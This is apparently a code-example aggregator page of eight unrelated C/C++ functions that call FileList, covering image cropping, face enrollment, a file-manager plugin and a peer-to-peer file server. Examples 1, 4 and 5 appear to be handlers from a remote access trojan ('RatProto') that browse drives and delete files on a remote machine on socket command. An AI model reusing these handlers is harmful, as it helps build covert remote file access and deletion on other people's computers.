Exemple #1
0
//////////////////////////////////////////////////////////////////////////
//文件夹回溯
//////////////////////////////////////////////////////////////////////////
BOOL FileBack(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	if (strlen(szPath)==3)
	{
		DriveList(sockfd);
		return TRUE;
	}
	for (int i=strlen(szPath)-2;i>0;i--)
	{
		if (szPath[i]=='\\')
		{
			szPath[i+1] = '*';
			break;
		}
		else
		{
			szPath[i] = '\0';
		}
	}
	FileList(sockfd,szPath);

	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	szPath[strlen(szPath)-1] = '\0';
	SendCmd(sockfd,szPath,MAX_PATH);

	return TRUE;
}
Exemple #2
0
void init(){
  grabber.init(pa("-i"));

  bool c_arg = pa("-c");

  gui << Draw().handle("draw").label("input image")
      << Image().handle("cropped").label("cropped")
      << ( VBox().maxSize(c_arg ? 0 : 12,99).minSize(c_arg ? 0 : 12,1)
           << Button("save as ..").handle("saveAs")
           << Button("overwrite input").handle("overwrite")
           << Combo("0,90,180,270").handle("rot").label("rotation")
           << CheckBox("rectangular",!pa("-r")).handle("rect")
           << Button("Batch crop...").handle("batch")
           << ( HBox().label("rectification size")
                << Spinner(1,4096,640).handle("s1")
                << Label(":")
                << Spinner(1,4096,480).handle("s2")
                )
           << (HBox() 
               << Fps().handle("fps")
               << CamCfg()
               )
           )
      << Show();


  if(!c_arg){
    gui["batch"].registerCallback(batch_crop);
  }
  const ImgBase *image = grabber.grab();
  if(!c_arg){
    mouse_1 = new Mouse1(image->getSize());
    gui["draw"].install(mouse_1);
  }
  mouse_2 = new Mouse2(image->getSize());
  gui["draw"].install(mouse_2);
  
  DrawHandle draw = gui["draw"];
  draw->setImageInfoIndicatorEnabled(false);
  
  if(!c_arg){
    gui["rect"].registerCallback(rectangular_changed);
    rectangular_changed();
    if(*pa("-i",0) != "file" || FileList(*pa("-i",1)).size() != 1){
      gui["overwrite"].disable();
    }else{
      gui["overwrite"].registerCallback(overwrite);
    }
    gui["saveAs"].registerCallback(save_as);
  }

}
Exemple #3
0
void batch_mode(){
  if(pa("-config")){
    ConfigFile f(*pa("-config"));
    int masksize = f["config.masksize"];
    int thresh = f["config.threshold"];
    float gamma = f["config.gammaslope"];
    if(!pa("-output")){
      printf("please specify output file pattern\n");
      return;
    }

    grabber.init(pa("-i"));
    FileList fl;
    int maxSteps = -1;
    if(grabber.getType() == "file"){
      fl = FileList(*pa("-input",1));
      maxSteps = fl.size();
    }

    static FileWriter w(*pa("-output"));
    static LocalThresholdOp t;
    t.setMaskSize(masksize);
    t.setGlobalThreshold(thresh);
    t.setGammaSlope(gamma);
  
    int i=0;
    while(maxSteps < 0 || maxSteps--){
      if(maxSteps > 0){
        printf("processing image %30s ......",fl[i++].c_str());
      }
      const ImgBase *image = grabber.grab();
      if(image->getFormat() != formatGray){
        printf("...");
        static ImgBase *grayImage = 0;
        ensureCompatible(&grayImage,depth8u,image->getSize(),formatGray);
        cc(image,grayImage);
        printf("...");
        image = grayImage;
      }
      static ImgBase *dst = 0;
      printf("...");
      t.apply(image,&dst);
      printf("...");
      w.write(dst); 
      printf("done! \n");
      printf("writing image to %30s ... done\n",w.getFilenameGenerator().showNext().c_str());
    }
  }else{
    ERROR_LOG("please run with -config config-filename!");
    return;
  }
}
Exemple #4
0
//////////////////////////////////////////////////////////////////////////
//打开指定文件
//////////////////////////////////////////////////////////////////////////
BOOL FileOpen(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	FileList(sockfd,szPath);
	szPath[strlen(szPath)-1] = '\0';

	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	SendCmd(sockfd,szPath,MAX_PATH);

	return TRUE;
}
Exemple #5
0
//////////////////////////////////////////////////////////////////////////
//删除文件
//////////////////////////////////////////////////////////////////////////
BOOL FileDelete(SOCKET sockfd,int dwSize)
{
	char* szPath = szRecvCmd+sizeof(RatProto);
	BOOL bRet = DeleteFile(szPath);
	char szMsg[] = "删除成功!";
	if (bRet)
	{
		Sleep(100);
		for (int i=strlen(szPath);i>0;i--)
		{
			if (szPath[i] == '\\')
			{
				szPath[i+1] = '*';
				szPath[i+2] = '\0';
				break;
			}
		}
		FileList(sockfd,szPath);
		szPath[strlen(szPath)-1] = '\0'; 
	}
	else
	{
		for (int i=strlen(szPath)-1;i>0;i--)
		{
			if (szPath[i]=='\\')
			{
				break;
			}
			else
			{
				szPath[i] = '\0';
			}
		}
		sprintf(szMsg,"%s","删除失败!");
	}

	RatProto ratPro;
	ratPro.RatId = FILE_REPLY;
	ratPro.RatLen = sizeof(RatProto)+MAX_PATH+strlen(szMsg)+1;
	SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto));
	SendCmd(sockfd,szPath,MAX_PATH);
	SendCmd(sockfd,szMsg,strlen(szMsg)+1);

	return TRUE;
}
Exemple #6
0
    FileList enroll(File input, File gallery = File())
    {
        FileList files;

        qDebug("Enrolling %s%s", qPrintable(input.flat()),
               gallery.isNull() ? "" : qPrintable(" to " + gallery.flat()));

        if (gallery.name.isEmpty()) {
            if (input.name.isEmpty()) return FileList();
            else                      gallery = getMemoryGallery(input);
        }

        bool multiProcess = Globals->file.getBool("multiProcess", false);
        bool fileExclusion = false;

        // In append mode, we will exclude any templates with filenames already present in the output gallery
        if (gallery.contains("append") && gallery.exists() ) {
            FileList::fromGallery(gallery,true);
            fileExclusion = true;
        }

        Gallery * temp = Gallery::make(input);
        qint64 total = temp->totalSize();

        Globals->currentStep = 0;
        Globals->totalSteps = total;

        QScopedPointer<Transform> basePipe;

        QString pipeDesc = "GalleryOutput("+gallery.flat()+")+ProgressCounter("+QString::number(total)+")+Discard";

        if (!multiProcess) {
            basePipe.reset(Transform::make(pipeDesc,NULL));
            CompositeTransform * downcast = dynamic_cast<CompositeTransform *>(basePipe.data());

            if (downcast == NULL) qFatal("downcast failed?");

            downcast->transforms.prepend(this->transform.data());
            if (fileExclusion) {
                Transform * temp = Transform::make("FileExclusion(" + gallery.flat() + ")", downcast);
                downcast->transforms.prepend(temp);
            }

            // call init on the pipe to collapse the algorithm (if its top level is a pipe)
            downcast->init();
        }
        else {
            pipeDesc = "ProcessWrapper("+transformString+")"+pipeDesc;
            if (fileExclusion)
                pipeDesc = "FileExclusion(" + gallery.flat() +")" + pipeDesc;

            basePipe.reset(Transform::make(pipeDesc,NULL));
        }

        // Next, we make a Stream (with placeholder transform)
        QString streamDesc = "Stream(readMode=StreamGallery)";
        QScopedPointer<Transform> baseStream(Transform::make(streamDesc, NULL));
        WrapperTransform * wrapper = dynamic_cast<WrapperTransform *> (baseStream.data());

        // replace that placeholder with the pipe we built
        wrapper->transform = basePipe.data();

        // and get the final stream's stages by reinterpreting the pipe. Perfectly straightforward.
        wrapper->init();

        Globals->startTime.start();

        TemplateList data, output;
        data.append(input);
        wrapper->projectUpdate(data, output);

        files.append(output.files());

        return files;
    }
Exemple #7
0
intptr_t get_files(HANDLE hPlugin, struct PluginPanelItem *PanelItem, size_t ItemsNumber, int Move, UnicodeString& DestPath, OPERATION_MODES OpMode) {
  if ((ItemsNumber == 0) || (wcscmp(PanelItem[0].FileName, L"..") == 0)) return 1;
  PluginInstance* plugin = (PluginInstance*) hPlugin;
  bool show_dialog = (OpMode & (OPM_SILENT | OPM_FIND | OPM_VIEW | OPM_EDIT | OPM_QUICKVIEW)) == 0;
  bool show_error = (OpMode & (OPM_FIND | OPM_QUICKVIEW)) == 0;
  try {
    CopyFilesOptions options;
    options.show_dialog = show_dialog;
    options.show_error = show_error;
    options.dst_dir = DestPath;
    options.move_files = Move != 0;
    options.copy_shared = get_app_option(FSSF_SYSTEM, c_copy_opened_files_option, true);
    options.use_file_filters = false;
    options.use_tmp_files = (OpMode & (OPM_FIND | OPM_VIEW | OPM_QUICKVIEW)) != 0;
    if (show_dialog) {
      options.ignore_errors = g_plugin_options.ignore_errors;
      options.overwrite = g_plugin_options.overwrite;
      options.show_stats = g_plugin_options.show_stats;
      if (!show_copy_files_dlg(options, false)) BREAK;
      if (g_plugin_options.save_def_values) {
        g_plugin_options.ignore_errors = options.ignore_errors;
        g_plugin_options.overwrite = options.overwrite;
        g_plugin_options.show_stats = options.show_stats;
        save_def_option_values(g_plugin_options);
      }
      DestPath = options.dst_dir;
    }
    else {
      options.ignore_errors = false;
      options.overwrite = ooOverwrite;
      options.show_stats = ssoNever;
    }
    CopyFilesStats stats;
    Log log;
    {
      UiLink ui((OpMode & OPM_SILENT) != 0);
      if (ui.update_needed()) {
        draw_progress_msg(far_get_msg(MSG_PROGRESS_PREPARE));
      }

      // source directory
      UnicodeString src_dir_path = plugin->current_dir;

      // distination directory and file name (if renaming)
      UnicodeString dst_dir_path, dst_new_name;
      FilePath dst_fp(options.dst_dir);
      bool dst_is_remote = !dst_fp.is_absolute || (dst_fp.root.size() == 0);
      if (dst_is_remote) {
        // ensure that file name case is correct in source and destinations paths
        // it will be used later in comparison
        FilePath src_dir_fp(src_dir_path);
        find_real_file_path(src_dir_fp, plugin->session);
        src_dir_path = src_dir_fp.get_full_path();
        dst_fp = FilePath(plugin->current_dir).combine(dst_fp);
        find_real_file_path(dst_fp, plugin->session);
      }
      if ((dst_is_remote && dir_exists(dst_fp.get_full_path(), plugin->session)) || (!dst_is_remote && dir_exists(dst_fp.get_full_path()))) {
        dst_dir_path = dst_fp.get_full_path();
      }
      else {
        if (ItemsNumber != 1) {
          dst_dir_path = dst_fp.get_full_path();
        }
        else {
          dst_dir_path = dst_fp.get_dir_path();
          dst_new_name = dst_fp.get_file_name();
        }
      }

      UnicodeString src_file_name, dst_file_name; // store source / destination file names
      UnicodeString src_path, dst_path; // store source / destination file paths

      // list of selected files
      FileList panel_file_list;
      panel_items_to_file_list(PanelItem, ItemsNumber, panel_file_list);

      // verify that no file is copied into self
      if (dst_is_remote) {
        for (unsigned i = 0; i < ItemsNumber; i++) {
          src_file_name = panel_file_list[i].file_name;
          COMPOSE_PATH2(src_path, src_dir_path, src_file_name);
          if (dst_new_name.size() != 0) dst_file_name = dst_new_name; else dst_file_name = src_file_name;
          COMPOSE_PATH2(dst_path, dst_dir_path, dst_file_name);
          if (dst_path == src_path) FAIL(CustomError(far_get_msg(MSG_ERR_SELF_COPY), src_path));
        }
      }

      // make sure destination path exists
      if (dst_is_remote) prepare_target_path(dst_dir_path, plugin->session, plugin);
      else prepare_target_path(dst_dir_path, plugin);

      Array<unsigned> finished_idx; // indices of processed files

      // try to move files remotely
      // mark files that were processed successfully
      if (options.move_files && dst_is_remote) {
        // prepare progress data
        CopyFilesProgress progress;
        QueryPerformanceCounter((PLARGE_INTEGER) &progress.start_time);
        ui.force_update();
        // iterate through selected files
        for (unsigned i = 0; i < ItemsNumber; i++) {
          src_file_name = panel_file_list[i].file_name; // source file name
          COMPOSE_PATH2(src_path, src_dir_path, src_file_name); // source file path
          if (dst_new_name.size() != 0) dst_file_name = dst_new_name; else dst_file_name = src_file_name; // destination file name
          COMPOSE_PATH2(dst_path, dst_dir_path, dst_file_name); // destination file path
          // update progress bar if needed
          if (ui.update_needed()) {
            progress.src_path = src_path;
            progress.dst_path = dst_path;
            draw_move_remote_files_progress(progress, stats);
          }
          // try to move file remotely
          if (move_remote_file(src_path, dst_path, plugin->session)) {
            // update stats
            if (panel_file_list[i].is_dir()) stats.dirs++;
            else stats.files++;
            // add finished file to list
            finished_idx += i;
          }
        }
      }

      // scan source directories and prepare lists of files to process
      ObjectArray<FileList> file_lists;
      ui.force_update();
      CreateListStats list_stats;
      CreateListOptions list_options;
      list_options.ignore_errors = options.ignore_errors;
      list_options.show_error = options.show_error;
      try {
        for (unsigned i = 0; i < ItemsNumber; i++) {
          if (finished_idx.bsearch(i) == -1) {
            file_lists += create_file_list(src_dir_path, panel_file_list[i].file_name, list_stats, list_options, ui, log, plugin->session, plugin);
          }
          else file_lists += FileList(); // skip already moved objects
        }
      }
      finally (stats.errors = list_stats.errors);

      // show file filters dialog if needed
      ObjectArray<FilterInterface> filters;
      if (options.use_file_filters && !dst_is_remote && show_dialog) {
        load_file_filters();
        if (export_filter_list.size() != 0) {
          Array<FilterSelection> selection;
          if (!show_filters_dlg(export_filter_list, selection)) BREAK;
          for (unsigned i = 0; i < selection.size(); i++) {
            filters += FilterInterface(export_filter_list[selection[i].src_idx].src_ext, export_filter_list[selection[i].src_idx][selection[i].dst_idx].dst_ext, export_filter_list[selection[i].src_idx][selection[i].dst_idx].guid);
          }
        }
      }

      // perform copy
      CopyFilesProgress progress;
      progress.total_size = list_stats.size;
      progress.processed_total_size = progress.copied_total_size = 0;
      QueryPerformanceCounter((PLARGE_INTEGER) &progress.start_time);
      ui.force_update();
      AutoBuffer buffer(g_plugin_options.copy_buf_size);
      for (unsigned i = 0; i < ItemsNumber; i++) {
        if (finished_idx.bsearch(i) == -1) {
          copy_files(true, src_dir_path, file_lists[i], dst_is_remote, dst_dir_path, dst_new_name, stats, progress, options, ui, buffer, log, filters, plugin->session, plugin);
        }
        PanelItem[i].Flags &= ~PPIF_SELECTED;
      }

      // delete source files if moving (only if no errors or skipped files to prevent data loss)
      if (options.move_files && (stats.errors == 0) && (stats.skipped == 0)) {
        DeleteFilesStats del_stats;
        DeleteFilesOptions del_options;
        del_options.ignore_errors = options.ignore_errors;
        del_options.show_stats = options.show_stats;
        del_options.show_error = options.show_error;
        del_options.show_dialog = options.show_dialog;
        DeleteFilesProgress del_progress;
        del_progress.objects = 0;
        del_progress.total_objects = list_stats.files + list_stats.dirs;
        QueryPerformanceCounter((PLARGE_INTEGER) &del_progress.start_time);
        ui.force_update();
        try {
          for (unsigned i = 0; i < ItemsNumber; i++) {
            delete_files(true, src_dir_path, file_lists[i], del_stats, del_progress, del_options, ui, log, plugin->session, plugin);
          }
        }
        finally (stats.errors += del_stats.errors);
      }

      // set cursor to new file name after rename
      if (dst_is_remote && options.move_files && (src_dir_path == dst_dir_path)) {
        assert(dst_new_name.size() != 0);
        far_control_int(plugin, FCTL_UPDATEPANEL, 1);
        PanelInfo panel_info;
        far_control_ptr(plugin, FCTL_GETPANELINFO, &panel_info);
        PanelRedrawInfo redraw_info = { sizeof(PanelRedrawInfo) };
        redraw_info.TopPanelItem = panel_info.TopPanelItem;
        redraw_info.CurrentItem = panel_info.CurrentItem;
        for (size_t i = 0; i < panel_info.ItemsNumber; i++) {
          PluginPanelItem* ppi = far_get_panel_item(plugin, i, panel_info);
          UnicodeString file_name = ppi->FileName;
          if (file_name == dst_new_name) {
            redraw_info.CurrentItem = i;
            break;
          }
        }
        far_control_ptr(INVALID_HANDLE_VALUE, FCTL_REDRAWPANEL, &redraw_info);
      }
    }

    if (show_dialog && ((options.show_stats == ssoAlways) || ((options.show_stats == ssoIfError) && (stats.errors != 0)))) show_copy_files_results_dlg(stats, log);
    return 1;
  }
Exemple #8
0
void *serving_thread(void *argp) 
{
	char 	buffer[BUFSIZE];
	char	*clientip,*clientport;
	char 	*type,*data=NULL;
	int 	rval;
	int err;
	char 	*filename,*md5sum="xxx",*filesize="12324";
	int 	socket = *(int*)argp;
	fileptr tempnode;
	FILE 	*fp;
	char 	prints[45];
	
	printf("in thread:%d\n",socket);
	
	
	sprintf(prints,"../serverLog.%u",(unsigned int)pthread_self());
	if ( (fp = fopen(prints,"wb")) == NULL )
	{
		perror("fopen");
		return NULL;
	}
	if	(err=pthread_detach (pthread_self ()))	
	{
		// Detach thread  
		perror2("pthread_detach ",err);
		return NULL; 
	}
	////////////////////////////////////////////////////////////////


	if ((rval=myread(socket, buffer, BUFSIZE)) <= 0)
	{
		perror("read"); 
		return NULL;
	}
	if ( GetType(buffer,fp) == JOINREQUEST)
	{ 
		parse_JoinRequest(buffer,&clientip,&clientport);
		JoinResponse(buffer);
		fprintf(fp,"JoinResponse to client with ip: %s\n",clientip);
		if(mywrite(socket,buffer,BUFSIZE) <= 0 )
		{
			perror("write");
			return NULL;
		}
				
	}	
	while (runflag)
	{
	
		///Ask FileList///
		int rval;
		if ( (rval=myread(socket, buffer , BUFSIZE)) < 0)
		{	
			perror("read"); 
			break;
		}
		//an to socket exei kleisei
		else if ( rval == 0 )
		{
			close(socket);	
			break;
		}
		else if (GetType(buffer,fp) == ASKFILELIST) 
		{	
			//if (err = pthread_mutex_lock(&serverlist_mux) ){ 
			//	perror2(" pthread_mutex_lock ",err ); exit(1); }
			fprintf(fp,"upadate server's list\n");	
			initialize("./",&metadata);
			printf("initialization:\n");
			printfile(metadata);
			//chekarw ti lista me ta arxeia pou diatiro kai gia kathe komvo tha ftiaxno 2 orismata pou tou 
			//antistixoun filename kai md5 na mi ksexasw teleuteoorisma NULL
			FileList(buffer,metadata);
			fprintf(fp,"Send FileList to client with ip: %s\n",clientip);
			//if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
			//	perror2(" pthread_mutex_unlock ",err ); exit(1); }
			if(mywrite(socket,buffer,BUFSIZE) <= 0 )
			{
				perror("write");
				break;
			}		
		}
		///AskFile///
		else if (GetType(buffer,fp) == ASKFILE)
		{ 
			parse_AskFile(buffer,&filename);
			fprintf(fp,"client with ip: %s asked for file:%s\n",clientip,filename);
			//lock list gia anazitisi tou arxeiou
			if (err = pthread_mutex_lock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			tempnode=filenode(metadata,filename,NULL);
			if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			AskFileResponse(buffer,filename,myip,myport);
			fprintf(fp,"server is going to send the file to client \n");
			if(mywrite(socket,buffer,BUFSIZE) <= 0 )
			{	
				perror("write");
				break;
			}	
		}
		///GetFile///	
		else if (GetType(buffer,fp) == GETFILE)
		{
			parse_GetFile(buffer,&filename,&md5sum);
			//stelnei to arxeio pou tou zita kai sti lista tou oti autos o client exei pleon to arxeio
			//lock list gia na ton prosthesei sti lista
			GetFileResponse(socket,filename,md5sum);	
			if (err = pthread_mutex_lock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			tempnode=filenode(metadata,filename,md5sum);
			add_peer(&tempnode,clientip,clientport);
			if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			fprintf(fp,"send  File %s to client with ip: %s\n",filename,clientip);		
		}
		///SendFile	
		else if (GetType(buffer,fp) == SENDFILE)
		{ 
			parse_SendFile(buffer,&filename,&md5sum,&filesize,socket);
			//lock list gia na prosthesei to arxeio
			if (err = pthread_mutex_lock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			add_file(&metadata,filename,md5sum);
			tempnode=filenode(metadata,filename,md5sum);
			add_peer(&tempnode,clientip,clientport);
			if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			SendFileResponse(buffer,filename,md5sum);
			fprintf(fp,"new File %s from client with ip: %s\n",filename,clientip);
			if(mywrite(socket,buffer,BUFSIZE) <= 0 )
			{
				perror("write");
				break;
			}	
		
		}
		///DeleteFile	
		else if (GetType(buffer,fp) == DELETEFILE)
		{ 
			printf("DeleteFile\n");
			parse_DeleteFile(buffer,&filename,&md5sum);
			fprintf(fp,"File to delete: %s \n",filename);
			//lock list mux
			if (err = pthread_mutex_lock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			tempnode=filenode(metadata,filename,NULL);
			if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			//lock file mux
			if (err = pthread_mutex_lock(&tempnode->file_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			if( remove(filename) != 0 )
    				perror( "Error deleting file" );
  			else
    				printf("File  %s successfully deleted\n",filename);
			if (err = pthread_mutex_unlock(&tempnode->file_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			//lock list mux
			if (err = pthread_mutex_lock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_lock ",err ); exit(1); }
			delete_file(&metadata,filename,md5sum);
			if (err = pthread_mutex_unlock(&serverlist_mux) ){ 
				perror2(" pthread_mutex_unlock ",err ); exit(1); }
			DeleteFileResponse(buffer,filename,md5sum);
			fprintf(fp,"file deleted %s\n",filename);
			if(mywrite(socket,buffer,BUFSIZE) <= 0 )
			{
				perror("write");
				break;
			}	
		}	
	}
	close(socket);
	fprintf(fp,"Closing connection.\n");
	fclose(fp);
	free(argp);
}